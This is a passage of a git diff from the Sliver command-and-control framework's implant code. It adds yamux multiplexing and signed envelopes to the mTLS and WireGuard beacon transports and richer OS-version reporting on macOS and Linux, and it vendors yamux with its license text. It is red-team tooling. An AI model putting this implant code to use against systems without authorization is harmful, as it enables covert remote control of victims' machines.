@@ -215,7 +223,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[mtls] lost connection, cleanup...")
 			// {{end}}
-			conn.Close()
+			close(done)
+			if muxSession != nil {
+				muxSession.Close()
+			}
+			if conn != nil {
+				conn.Close()
+			}
 			close(recv)
 		},
 	}
@@ -243,45 +257,119 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 		if err != nil {
 			return err
 		}
+		if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
+			conn.Close()
+			return err
+		}
+		muxSession, err = yamux.Client(conn, nil)
+		if err != nil {
+			conn.Close()
+			return err
+		}
 		connection.IsOpen = true
 
 		go func() {
 			defer connection.Cleanup()
+			sendSem := make(chan struct{}, 64)
+			ticker := time.NewTicker(mtls.PingInterval)
+			defer ticker.Stop()
+
+			sendEnvelope := func(envelope *pb.Envelope) {
+				if envelope == nil {
+					return
+				}
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func(envelope *pb.Envelope) {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := mtls.WriteEnvelope(stream, envelope); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}(envelope)
+			}
+
+			sendPing := func() {
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func() {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := mtls.WritePing(stream); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}()
+			}
+
 			for {
 				select {
 				case envelope, ok := <-send:
 					if !ok {
 						return
 					}
-					err := mtls.WriteEnvelope(conn, envelope)
-					if err != nil {
-						return
-					}
-				case <-time.After(mtls.PingInterval):
-					err = mtls.WritePing(conn)
-					if err != nil {
-						return
-					}
+					sendEnvelope(envelope)
+				case <-ticker.C:
+					sendPing()
+				case <-done:
+					return
 				}
 			}
 		}()
 
 		go func() {
 			defer connection.Cleanup()
+			streamSem := make(chan struct{}, 128)
 			for {
-				envelope, err := mtls.ReadEnvelope(conn)
-				if err == io.EOF {
-					// {{if .Config.Debug}}
-					log.Printf("[mtls] eof")
-					// {{end}}
+				stream, err := muxSession.Accept()
+				if err != nil {
 					return
 				}
-				if err != io.EOF && err != nil {
-					break
-				}
-				if envelope != nil {
-					recv <- envelope
+
+				select {
+				case streamSem <- struct{}{}:
+				case <-done:
+					stream.Close()
+					return
 				}
+
+				go func() {
+					defer func() {
+						<-streamSem
+					}()
+					defer stream.Close()
+					envelope, err := mtls.ReadEnvelope(stream)
+					if err != nil {
+						return
+					}
+					if envelope != nil {
+						select {
+						case recv <- envelope:
+						case <-done:
+						}
+					}
+				}()
 			}
 		}()
 
@@ -299,9 +387,11 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 	send := make(chan *pb.Envelope)
 	recv := make(chan *pb.Envelope)
 	ctrl := make(chan struct{})
+	done := make(chan struct{})
 
 	var conn net.Conn
 	var dev *device.Device
+	var muxSession *yamux.Session
 	connection := &Connection{
 		Send:    send,
 		Recv:    recv,
@@ -315,8 +405,16 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 			// {{if .Config.Debug}}
 			log.Printf("[wg] lost connection, cleanup...")
 			// {{end}}
-			conn.Close()
-			dev.Down()
+			close(done)
+			if muxSession != nil {
+				muxSession.Close()
+			}
+			if conn != nil {
+				conn.Close()
+			}
+			if dev != nil {
+				dev.Down()
+			}
 			close(recv)
 		},
 	}
@@ -355,45 +453,121 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 		if err != nil {
 			return err
 		}
+		if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
+			conn.Close()
+			dev.Down()
+			return err
+		}
+		muxSession, err = yamux.Client(conn, nil)
+		if err != nil {
+			conn.Close()
+			dev.Down()
+			return err
+		}
 		connection.IsOpen = true
 
 		go func() {
 			defer connection.Cleanup()
+			sendSem := make(chan struct{}, 64)
+			ticker := time.NewTicker(wireguard.PingInterval)
+			defer ticker.Stop()
+
+			sendEnvelope := func(envelope *pb.Envelope) {
+				if envelope == nil {
+					return
+				}
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func(envelope *pb.Envelope) {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := wireguard.WriteEnvelope(stream, envelope); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}(envelope)
+			}
+
+			sendPing := func() {
+				select {
+				case sendSem <- struct{}{}:
+				case <-done:
+					return
+				}
+				go func() {
+					defer func() {
+						<-sendSem
+					}()
+					stream, err := muxSession.Open()
+					if err != nil {
+						connection.Cleanup()
+						return
+					}
+					defer stream.Close()
+					if err := wireguard.WritePing(stream); err != nil {
+						connection.Cleanup()
+						return
+					}
+				}()
+			}
+
 			for {
 				select {
 				case envelope, ok := <-send:
 					if !ok {
 						return
 					}
-					err := wireguard.WriteEnvelope(conn, envelope)
-					if err != nil {
-						return
-					}
-				case <-time.After(wireguard.PingInterval):
-					err = wireguard.WritePing(conn)
-					if err != nil {
-						return
-					}
+					sendEnvelope(envelope)
+				case <-ticker.C:
+					sendPing()
+				case <-done:
+					return
 				}
 			}
 		}()
 
 		go func() {
 			defer connection.Cleanup()
+			streamSem := make(chan struct{}, 128)
 			for {
-				envelope, err := wireguard.ReadEnvelope(conn)
-				if err == io.EOF {
-					// {{if .Config.Debug}}
-					log.Printf("[wireguard] eof")
-					// {{end}}
+				stream, err := muxSession.Accept()
+				if err != nil {
 					return
 				}
-				if err != io.EOF && err != nil {
-					break
-				}
-				if envelope != nil {
-					recv <- envelope
+
+				select {
+				case streamSem <- struct{}{}:
+				case <-done:
+					stream.Close()
+					return
 				}
+
+				go func() {
+					defer func() {
+						<-streamSem
+					}()
+					defer stream.Close()
+					envelope, err := wireguard.ReadEnvelope(stream)
+					if err != nil {
+						return
+					}
+					if envelope != nil {
+						select {
+						case recv <- envelope:
+						case <-done:
+						}
+					}
+				}()
 			}
 		}()
 

implant/sliver/transports/wireguard/wireguard.go

@@ -25,6 +25,8 @@ package wireguard
 import (
 	"bufio"
 	"bytes"
+	"crypto/ed25519"
+	"crypto/sha256"
 	"encoding/binary"
 	"errors"
 	"fmt"
@@ -33,15 +35,18 @@ import (
 	"net/netip"
 	"strconv"
 	"strings"
+	"sync"
 	"time"
 
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
 
+	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
 
 	"github.com/bishopfox/sliver/implant/sliver/netstack"
+	"golang.org/x/crypto/blake2b"
 	"golang.zx2c4.com/wireguard/conn"
 	"golang.zx2c4.com/wireguard/device"
 	"golang.zx2c4.com/wireguard/tun"
@@ -49,6 +54,9 @@ import (
 )
 
 var (
+	// YamuxPreface - Magic bytes sent before yamux frames
+	YamuxPreface = "MUX/1"
+
 	serverTunIP = "100.64.0.1" // Don't let user configure this for now
 	tunnelNet   *netstack.Net
 	tunAddress  string
@@ -66,6 +74,36 @@ var (
 	failedConn   = 0
 )
 
+const wgEnvelopeSigningSeedPrefix = "env-signing-v1:"
+
+var (
+	envelopeSigningOnce  sync.Once
+	envelopeSigningErr   error
+	envelopeSigningKeyID uint64
+	envelopeSigningPriv  ed25519.PrivateKey
+)
+
+func wgEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
+	envelopeSigningOnce.Do(func() {
+		peerKeyPair := cryptography.GetPeerAgeKeyPair()
+		// NOTE: This file is rendered with Go's text/template; avoid literal template
+		// delimiters in string checks or the template parser will treat it as an action.
+		if peerKeyPair == nil || peerKeyPair.Private == "" || strings.Contains(peerKeyPair.Private, ".Build.PeerPrivateKey") {
+			envelopeSigningErr = errors.New("[wireguard] missing peer private key")
+			return
+		}
+
+		seed := sha256.Sum256([]byte(wgEnvelopeSigningSeedPrefix + peerKeyPair.Private))
+		envelopeSigningPriv = ed25519.NewKeyFromSeed(seed[:])
+
+		pub := envelopeSigningPriv.Public().(ed25519.PublicKey)
+		digest := blake2b.Sum256(pub)
+		envelopeSigningKeyID = binary.LittleEndian.Uint64(digest[:8])
+	})
+
+	return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
+}
+
 // GetTNet - Get the netstack Net object
 func GetTNet() *netstack.Net {
 	return tunnelNet
@@ -87,6 +125,22 @@ func WriteEnvelope(connection net.Conn, envelope *pb.Envelope) error {
 		// {{end}}
 		return err
 	}
+
+	signingKey, keyID, err := wgEnvelopeSigningKey()
+	if err != nil {
+		return err
+	}
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
+	binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
+	binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
+	copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
+	if _, werr := connection.Write(rawSigBuf); werr != nil {
+		// {{if .Config.Debug}}
+		log.Print("Socket error (write raw signature): ", werr)
+		// {{end}}
+		return werr
+	}
+
 	dataLengthBuf := new(bytes.Buffer)
 	binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
 	if _, werr := connection.Write(dataLengthBuf.Bytes()); werr != nil {
@@ -121,11 +175,21 @@ func WritePing(connection net.Conn) error {
 
 // ReadEnvelope - Reads a message from the wireguard connection using length prefix framing
 func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
+	rawSigBuf := make([]byte, cryptography.RawSigSize)
 	dataLengthBuf := make([]byte, 4) // Size of uint32
-	if len(dataLengthBuf) == 0 || connection == nil {
+	if len(rawSigBuf) == 0 || len(dataLengthBuf) == 0 || connection == nil {
 		panic("[[GenerateCanary]]")
 	}
-	n, err := io.ReadFull(connection, dataLengthBuf)
+
+	n, err := io.ReadFull(connection, rawSigBuf)
+	if err != nil || n != len(rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Socket error (read raw signature): %v\n", err)
+		// {{end}}
+		return nil, err
+	}
+
+	n, err = io.ReadFull(connection, dataLengthBuf)
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("Socket error (read msg-length): %v\n", err)
@@ -152,6 +216,13 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 		return nil, err
 	}
 
+	if !cryptography.MinisignVerifyRaw(dataBuf, rawSigBuf) {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid signature on wireguard envelope")
+		// {{end}}
+		return nil, errors.New("[wireguard] invalid signature")
+	}
+
 	// Unmarshal the protobuf envelope
 	envelope := &pb.Envelope{}
 	err = proto.Unmarshal(dataBuf, envelope)
@@ -165,6 +236,10 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	return envelope, nil
 }
 
+func formatWGEndpoint(address string, port uint16) string {
+	return net.JoinHostPort(address, strconv.Itoa(int(port)))
+}
+
 // getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
 func getSessKeys(address string, port uint16) error {
 	_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
@@ -172,7 +247,9 @@ func getSessKeys(address string, port uint16) error {
 		return err
 	}
 
-	dev.Up()
+	if err := dev.Up(); err != nil {
+		return err
+	}
 
 	// {{if .Config.Debug}}
 	log.Printf("Initial wg connection. Attempting to connect to wg key exchange listener")
@@ -183,6 +260,7 @@ func getSessKeys(address string, port uint16) error {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to wg key exchange listener: %v", err)
 		// {{end}}
+		_ = dev.Down()
 		return err
 	}
 
@@ -207,7 +285,10 @@ func getSessKeys(address string, port uint16) error {
 // WGConnect - Get a wg connection or die trying
 func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 	if wgSessPrivKey == "" || failedConn > 2 {
-		getSessKeys(address, port)
+		if err := getSessKeys(address, port); err != nil {
+			failedConn++
+			return nil, nil, err
+		}
 	}
 
 	// Bring up actual wireguard connection using retrieved keys and IP
@@ -261,7 +342,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
 	wgConf := bytes.NewBuffer(nil)
 	fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
 	fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
-	fmt.Fprintf(wgConf, "endpoint=%s:%d\n", address, port)
+	fmt.Fprintf(wgConf, "endpoint=%s\n", formatWGEndpoint(address, port))
 	fmt.Fprintf(wgConf, "allowed_ip=%s/0\n", "0.0.0.0")
 
 	// {{if .Config.Debug}}

implant/sliver/transports/wireguard/wireguard_endpoint_test.go

@@ -0,0 +1,26 @@
+//go:build windows || darwin || linux
+
+package wireguard
+
+import "testing"
+
+func TestFormatWGEndpoint_IPv6(t *testing.T) {
+	got := formatWGEndpoint("::1", 8989)
+	if got != "[::1]:8989" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "[::1]:8989")
+	}
+}
+
+func TestFormatWGEndpoint_IPv4(t *testing.T) {
+	got := formatWGEndpoint("127.0.0.1", 53)
+	if got != "127.0.0.1:53" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "127.0.0.1:53")
+	}
+}
+
+func TestFormatWGEndpoint_Hostname(t *testing.T) {
+	got := formatWGEndpoint("example.com", 1337)
+	if got != "example.com:1337" {
+		t.Fatalf("unexpected endpoint: got=%q want=%q", got, "example.com:1337")
+	}
+}

implant/sliver/version/version_darwin.go

@@ -18,6 +18,129 @@ package version
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-func GetVersion() string {
+import (
+	"encoding/xml"
+	"errors"
+	"fmt"
+	//{{if .Config.Debug}}
+	"log"
+	//{{end}}
+	"os"
+	"strings"
+
+	"golang.org/x/sys/unix"
+)
+
+type plist struct {
+	XMLName xml.Name `xml:"plist"`
+	Dict    dict     `xml:"dict"`
+}
+
+type dict struct {
+	Key    []string `xml:"key"`
+	String []string `xml:"string"`
+}
+
+func getString(input []byte) string {
+	ver := string(input)
+	if i := strings.Index(ver, "\x00"); i != -1 {
+		ver = ver[:i]
+	}
+	return ver
+}
+
+func readOSRelease() string {
+	paths := []string{
+		"/System/Library/CoreServices/SystemVersion.plist",
+		"/System/Library/CoreServices/ServerVersion.plist",
+	}
+	for _, path := range paths {
+		file, err := os.Open(path)
+		if err != nil {
+			continue
+		}
+		properties, err := parsePlistFile(file)
+		_ = file.Close()
+		if err != nil {
+			//{{if .Config.Debug}}
+			log.Printf("error parsing %s: %v", path, err)
+			//{{end}}
+			continue
+		}
+		if osRelease := buildOSRelease(properties); osRelease != "" {
+			return osRelease
+		}
+	}
 	return ""
 }
+
+func parsePlistFile(file *os.File) (map[string]string, error) {
+	var v plist
+	if err := xml.NewDecoder(file).Decode(&v); err != nil {
+		return nil, err
+	}
+	if len(v.Dict.Key) != len(v.Dict.String) {
+		return nil, errors.New("invalid plist content")
+	}
+	properties := make(map[string]string, len(v.Dict.Key))
+	for i, key := range v.Dict.Key {
+		properties[key] = v.Dict.String[i]
+	}
+	return properties, nil
+}
+
+func buildOSRelease(properties map[string]string) string {
+	productName := properties["ProductName"]
+	productVersion := properties["ProductVersion"]
+	productBuildVersion := properties["ProductBuildVersion"]
+	if productName == "" || productVersion == "" || productBuildVersion == "" {
+		return ""
+	}
+	return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
+}
+
+func normalizeArch(arch string) string {
+	arch = strings.TrimSpace(arch)
+	if arch == "" {
+		return ""
+	}
+	switch strings.ToLower(arch) {
+	case "amd64":
+		return "x86_64"
+	case "i386", "i486", "i586", "i686", "x86":
+		return "x86"
+	default:
+		return arch
+	}
+}
+
+func formatDetailedVersion(osRelease, kernel, arch string) string {
+	parts := make([]string, 0, 3)
+	if osRelease != "" {
+		parts = append(parts, osRelease)
+	}
+	if kernel != "" {
+		parts = append(parts, fmt.Sprintf("kernel %s", kernel))
+	}
+	if arch != "" {
+		parts = append(parts, arch)
+	}
+	return strings.Join(parts, " ")
+}
+
+func GetVersion() string {
+	osRelease := readOSRelease()
+	var uname unix.Utsname
+	if err := unix.Uname(&uname); err != nil {
+		//{{if .Config.Debug}}
+		log.Printf("error getting OS version: %v", err)
+		//{{end}}
+		return osRelease
+	}
+	if osRelease == "" {
+		osRelease = getString(uname.Sysname[:])
+	}
+	kernel := getString(uname.Release[:])
+	arch := normalizeArch(getString(uname.Machine[:]))
+	return formatDetailedVersion(osRelease, kernel, arch)
+}

implant/sliver/version/version_linux.go

@@ -22,7 +22,10 @@ package version
 
 import (
 	"fmt"
+	//{{if .Config.Debug}}
 	"log"
+	//{{end}}
+	"os"
 	"strings"
 	"syscall"
 )
@@ -39,11 +42,111 @@ func getString(input [65]int8) string {
 	return ver
 }
 
+func readOSRelease() string {
+	paths := []string{"/etc/os-release", "/usr/lib/os-release"}
+	for _, path := range paths {
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+		return buildOSRelease(parseOSRelease(string(data)))
+	}
+	return ""
+}
+
+func parseOSRelease(content string) map[string]string {
+	values := make(map[string]string)
+	for _, line := range strings.Split(content, "\n") {
+		line = strings.TrimSpace(line)
+		if line == "" || strings.HasPrefix(line, "#") {
+			continue
+		}
+		key, value, ok := strings.Cut(line, "=")
+		if !ok || key == "" {
+			continue
+		}
+		key = strings.TrimSpace(key)
+		value = unescape(unquote(strings.TrimSpace(value)))
+		values[key] = value
+	}
+	return values
+}
+
+func unquote(s string) string {
+	if len(s) < 2 {
+		return s
+	}
+	if (s[0] == '"' || s[0] == '\'') && s[0] == s[len(s)-1] {
+		return s[1 : len(s)-1]
+	}
+	return s
+}
+
+func unescape(s string) string {
+	return strings.NewReplacer(
+		`\$`, `$`,
+		`\"`, `"`,
+		`\'`, `'`,
+		`\\`, `\`,
+		"\\`", "`",
+	).Replace(s)
+}
+
+func buildOSRelease(values map[string]string) string {
+	name := values["NAME"]
+	version := values["VERSION"]
+	if version == "" {
+		version = values["VERSION_ID"]
+	}
+	if name != "" && version != "" {
+		return fmt.Sprintf("%s %s", name, version)
+	}
+	return values["PRETTY_NAME"]
+}
+
+func normalizeArch(arch string) string {
+	arch = strings.TrimSpace(arch)
+	if arch == "" {
+		return ""
+	}
+	switch strings.ToLower(arch) {
+	case "amd64":
+		return "x86_64"
+	case "i386", "i486", "i586", "i686", "x86":
+		return "x86"
+	default:
+		return arch
+	}
+}
+
+func formatDetailedVersion(osRelease, kernel, arch string) string {
+	parts := make([]string, 0, 3)
+	if osRelease != "" {
+		parts = append(parts, osRelease)
+	}
+	if kernel != "" {
+		parts = append(parts, fmt.Sprintf("kernel %s", kernel))
+	}
+	if arch != "" {
+		parts = append(parts, arch)
+	}
+	return strings.Join(parts, " ")
+}
+
 // GetVersion returns the os version information
 func GetVersion() string {
+	osRelease := readOSRelease()
 	var uname syscall.Utsname
 	if err := syscall.Uname(&uname); err != nil {
-		log.Fatal(err)
+		//{{if .Config.Debug}}
+		log.Printf("error getting OS version: %v", err)
+		//{{end}}
+		return osRelease
 	}
-	return fmt.Sprintf("%s %s %s", getString(uname.Sysname), getString(uname.Nodename), getString(uname.Release))
+	if osRelease == "" {
+		osRelease = getString(uname.Sysname)
+	}
+	kernel := getString(uname.Release)
+	arch := normalizeArch(getString(uname.Machine))
+	return formatDetailedVersion(osRelease, kernel, arch)
 }

implant/vendor/github.com/hashicorp/yamux/.gitignore

@@ -0,0 +1,23 @@
+# Compiled Object files, Static and Dynamic libs (Shared Objects)
+*.o
+*.a
+*.so
+
+# Folders
+_obj
+_test
+
+# Architecture specific extensions/prefixes
+*.[568vq]
+[568vq].out
+
+*.cgo1.go
+*.cgo2.c
+_cgo_defun.c
+_cgo_gotypes.go
+_cgo_export.*
+
+_testmain.go
+
+*.exe
+*.test

implant/vendor/github.com/hashicorp/yamux/LICENSE

@@ -0,0 +1,364 @@
+Copyright (c) 2014 HashiCorp, Inc.
+
+Mozilla Public License, version 2.0
+
+1. Definitions
+
+1.1. "Contributor"
+
+     means each individual or legal entity that creates, contributes to the
+     creation of, or owns Covered Software.
+
+1.2. "Contributor Version"
+
+     means the combination of the Contributions of others (if any) used by a
+     Contributor and that particular Contributor's Contribution.
+
+1.3. "Contribution"
+
+     means Covered Software of a particular Contributor.
+
+1.4. "Covered Software"
+
+     means Source Code Form to which the initial Contributor has attached the
+     notice in Exhibit A, the Executable Form of such Source Code Form, and
+     Modifications of such Source Code Form, in each case including portions
+     thereof.
+
+1.5. "Incompatible With Secondary Licenses"
+     means
+
+     a. that the initial Contributor has attached the notice described in
+        Exhibit B to the Covered Software; or
+
+     b. that the Covered Software was made available under the terms of
+        version 1.1 or earlier of the License, but not also under the terms of
+        a Secondary License.
+
+1.6. "Executable Form"
+
+     means any form of the work other than Source Code Form.
+
+1.7. "Larger Work"
+
+     means a work that combines Covered Software with other material, in a
+     separate file or files, that is not Covered Software.
+
+1.8. "License"
+
+     means this document.
+
+1.9. "Licensable"
+
+     means having the right to grant, to the maximum extent possible, whether
+     at the time of the initial grant or subsequently, any and all of the
+     rights conveyed by this License.
+
+1.10. "Modifications"
+
+     means any of the following:
+
+     a. any file in Source Code Form that results from an addition to,
+        deletion from, or modification of the contents of Covered Software; or
+
+     b. any new file in Source Code Form that contains any Covered Software.
+
+1.11. "Patent Claims" of a Contributor
+
+      means any patent claim(s), including without limitation, method,
+      process, and apparatus claims, in any patent Licensable by such
+      Contributor that would be infringed, but for the grant of the License,
+      by the making, using, selling, offering for sale, having made, import,
+      or transfer of either its Contributions or its Contributor Version.
+
+1.12. "Secondary License"
+
+      means either the GNU General Public License, Version 2.0, the GNU Lesser
+      General Public License, Version 2.1, the GNU Affero General Public
+      License, Version 3.0, or any later versions of those licenses.
+
+1.13. "Source Code Form"
+
+      means the form of the work preferred for making modifications.
+
+1.14. "You" (or "Your")
+
+      means an individual or a legal entity exercising rights under this
+      License. For legal entities, "You" includes any entity that controls, is
+      controlled by, or is under common control with You. For purposes of this
+      definition, "control" means (a) the power, direct or indirect, to cause
+      the direction or management of such entity, whether by contract or
+      otherwise, or (b) ownership of more than fifty percent (50%) of the
+      outstanding shares or beneficial ownership of such entity.
+
+
+2. License Grants and Conditions
+
+2.1. Grants
+
+     Each Contributor hereby grants You a world-wide, royalty-free,
+     non-exclusive license:
+
+     a. under intellectual property rights (other than patent or trademark)
+        Licensable by such Contributor to use, reproduce, make available,
+        modify, display, perform, distribute, and otherwise exploit its
+        Contributions, either on an unmodified basis, with Modifications, or
+        as part of a Larger Work; and
+
+     b. under Patent Claims of such Contributor to make, use, sell, offer for
+        sale, have made, import, and otherwise transfer either its
+        Contributions or its Contributor Version.
+
+2.2. Effective Date
+
+     The licenses granted in Section 2.1 with respect to any Contribution
+     become effective for each Contribution on the date the Contributor first
+     distributes such Contribution.
+
+2.3. Limitations on Grant Scope
+
+     The licenses granted in this Section 2 are the only rights granted under
+     this License. No additional rights or licenses will be implied from the
+     distribution or licensing of Covered Software under this License.
+     Notwithstanding Section 2.1(b) above, no patent license is granted by a
+     Contributor:
+
+     a. for any code that a Contributor has removed from Covered Software; or
+
+     b. for infringements caused by: (i) Your and any other third party's
+        modifications of Covered Software, or (ii) the combination of its
+        Contributions with other software (except as part of its Contributor
+        Version); or
+
+     c. under Patent Claims infringed by Covered Software in the absence of
+        its Contributions.
+
+     This License does not grant any rights in the trademarks, service marks,
+     or logos of any Contributor (except as may be necessary to comply with
+     the notice requirements in Section 3.4).
+
+2.4. Subsequent Licenses
+
+     No Contributor makes additional grants as a result of Your choice to
+     distribute the Covered Software under a subsequent version of this
+     License (see Section 10.2) or under the terms of a Secondary License (if
+     permitted under the terms of Section 3.3).
+
+2.5. Representation
+
+     Each Contributor represents that the Contributor believes its
+     Contributions are its original creation(s) or it has sufficient rights to
+     grant the rights to its Contributions conveyed by this License.
+
+2.6. Fair Use
+
+     This License is not intended to limit any rights You have under
+     applicable copyright doctrines of fair use, fair dealing, or other
+     equivalents.
+
+2.7. Conditions
+
+     Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
+     Section 2.1.
+
+
+3. Responsibilities
+
+3.1. Distribution of Source Form
+
+     All distribution of Covered Software in Source Code Form, including any
+     Modifications that You create or to which You contribute, must be under
+     the terms of this License. You must inform recipients that the Source
+     Code Form of the Covered Software is governed by the terms of this
+     License, and how they can obtain a copy of this License. You may not
+     attempt to alter or restrict the recipients' rights in the Source Code
+     Form.
+
+3.2. Distribution of Executable Form
+
+     If You distribute Covered Software in Executable Form then:
+
+     a. such Covered Software must also be made available in Source Code Form,
+        as described in Section 3.1, and You must inform recipients of the
+        Executable Form how they can obtain a copy of such Source Code Form by
+        reasonable means in a timely manner, at a charge no more than the cost
+        of distribution to the recipient; and
+
+     b. You may distribute such Executable Form under the terms of this
+        License, or sublicense it under different terms, provided that the
+        license for the Executable Form does not attempt to limit or alter the
+        recipients' rights in the Source Code Form under this License.
+
+3.3. Distribution of a Larger Work
+
+     You may create and distribute a Larger Work under terms of Your choice,
+     provided that You also comply with the requirements of this License for
+     the Covered Software. If the Larger Work is a combination of Covered
+     Software with a work governed by one or more Secondary Licenses, and the
+     Covered Software is not Incompatible With Secondary Licenses, this
+     License permits You to additionally distribute such Covered Software
+     under the terms of such Secondary License(s), so that the recipient of
+     the Larger Work may, at their option, further distribute the Covered
+     Software under the terms of either this License or such Secondary
+     License(s).
+
+3.4. Notices
+
+     You may not remove or alter the substance of any license notices
+     (including copyright notices, patent notices, disclaimers of warranty, or
+     limitations of liability) contained within the Source Code Form of the
+     Covered Software, except that You may alter any license notices to the
+     extent required to remedy known factual inaccuracies.
+
+3.5. Application of Additional Terms
+
+     You may choose to offer, and to charge a fee for, warranty, support,
+     indemnity or liability obligations to one or more recipients of Covered
+     Software. However, You may do so only on Your own behalf, and not on
+     behalf of any Contributor. You must make it absolutely clear that any
+     such warranty, support, indemnity, or liability obligation is offered by
+     You alone, and You hereby agree to indemnify every Contributor for any
+     liability incurred by such Contributor as a result of warranty, support,
+     indemnity or liability terms You offer. You may include additional
+     disclaimers of warranty and limitations of liability specific to any
+     jurisdiction.
+
+4. Inability to Comply Due to Statute or Regulation
+
+   If it is impossible for You to comply with any of the terms of this License
+   with respect to some or all of the Covered Software due to statute,
+   judicial order, or regulation then You must: (a) comply with the terms of
+   this License to the maximum extent possible; and (b) describe the
+   limitations and the code they affect. Such description must be placed in a
+   text file included with all distributions of the Covered Software under
+   this License. Except to the extent prohibited by statute or regulation,
+   such description must be sufficiently detailed for a recipient of ordinary
+   skill to be able to understand it.
+
+5. Termination
+
+5.1. The rights granted under this License will terminate automatically if You
+     fail to comply with any of its terms. However, if You become compliant,
+     then the rights granted under this License from a particular Contributor
+     are reinstated (a) provisionally, unless and until such Contributor
+     explicitly and finally terminates Your grants, and (b) on an ongoing
+     basis, if such Contributor fails to notify You of the non-compliance by
+     some reasonable means prior to 60 days after You have come back into
+     compliance. Moreover, Your grants from a particular Contributor are
+     reinstated on an ongoing basis if such Contributor notifies You of the
+     non-compliance by some reasonable means, this is the first time You have
+     received notice of non-compliance with this License from such
+     Contributor, and You become compliant prior to 30 days after Your receipt
+     of the notice.
+
+5.2. If You initiate litigation against any entity by asserting a patent
+     infringement claim (excluding declaratory judgment actions,
+     counter-claims, and cross-claims) alleging that a Contributor Version
+     directly or indirectly infringes any patent, then the rights granted to
+     You by any and all Contributors for the Covered Software under Section
+     2.1 of this License shall terminate.
+
+5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
+     license agreements (excluding distributors and resellers) which have been
+     validly granted by You or Your distributors under this License prior to
+     termination shall survive termination.
+
+6. Disclaimer of Warranty
+
+   Covered Software is provided under this License on an "as is" basis,
+   without warranty of any kind, either expressed, implied, or statutory,
+   including, without limitation, warranties that the Covered Software is free
+   of defects, merchantable, fit for a particular purpose or non-infringing.
+   The entire risk as to the quality and performance of the Covered Software
+   is with You. Should any Covered Software prove defective in any respect,
+   You (not any Contributor) assume the cost of any necessary servicing,
+   repair, or correction. This disclaimer of warranty constitutes an essential
+   part of this License. No use of  any Covered Software is authorized under
+   this License except under this disclaimer.
+
+7. Limitation of Liability
+
+   Under no circumstances and under no legal theory, whether tort (including
+   negligence), contract, or otherwise, shall any Contributor, or anyone who
+   distributes Covered Software as permitted above, be liable to You for any
+   direct, indirect, special, incidental, or consequential damages of any
+   character including, without limitation, damages for lost profits, loss of
+   goodwill, work stoppage, computer failure or malfunction, or any and all
+   other commercial damages or losses, even if such party shall have been
+   informed of the possibility of such damages. This limitation of liability
+   shall not apply to liability for death or personal injury resulting from
+   such party's negligence to the extent applicable law prohibits such
+   limitation. Some jurisdictions do not allow the exclusion or limitation of
+   incidental or consequential damages, so this exclusion and limitation may
+   not apply to You.
+
+8. Litigation
+
+   Any litigation relating to this License may be brought only in the courts
+   of a jurisdiction where the defendant maintains its principal place of
+   business and such litigation shall be governed by laws of that
+   jurisdiction, without reference to its conflict-of-law provisions. Nothing
+   in this Section shall prevent a party's ability to bring cross-claims or
+   counter-claims.
+
+9. Miscellaneous
+
+   This License represents the complete agreement concerning the subject
+   matter hereof. If any provision of this License is held to be
+   unenforceable, such provision shall be reformed only to the extent
+   necessary to make it enforceable. Any law or regulation which provides that
+   the language of a contract shall be construed against the drafter shall not
+   be used to construe this License against a Contributor.
+
+
+10. Versions of the License
+
+10.1. New Versions
+
+      Mozilla Foundation is the license steward. Except as provided in Section
+      10.3, no one other than the license steward has the right to modify or
+      publish new versions of this License. Each version will be given a
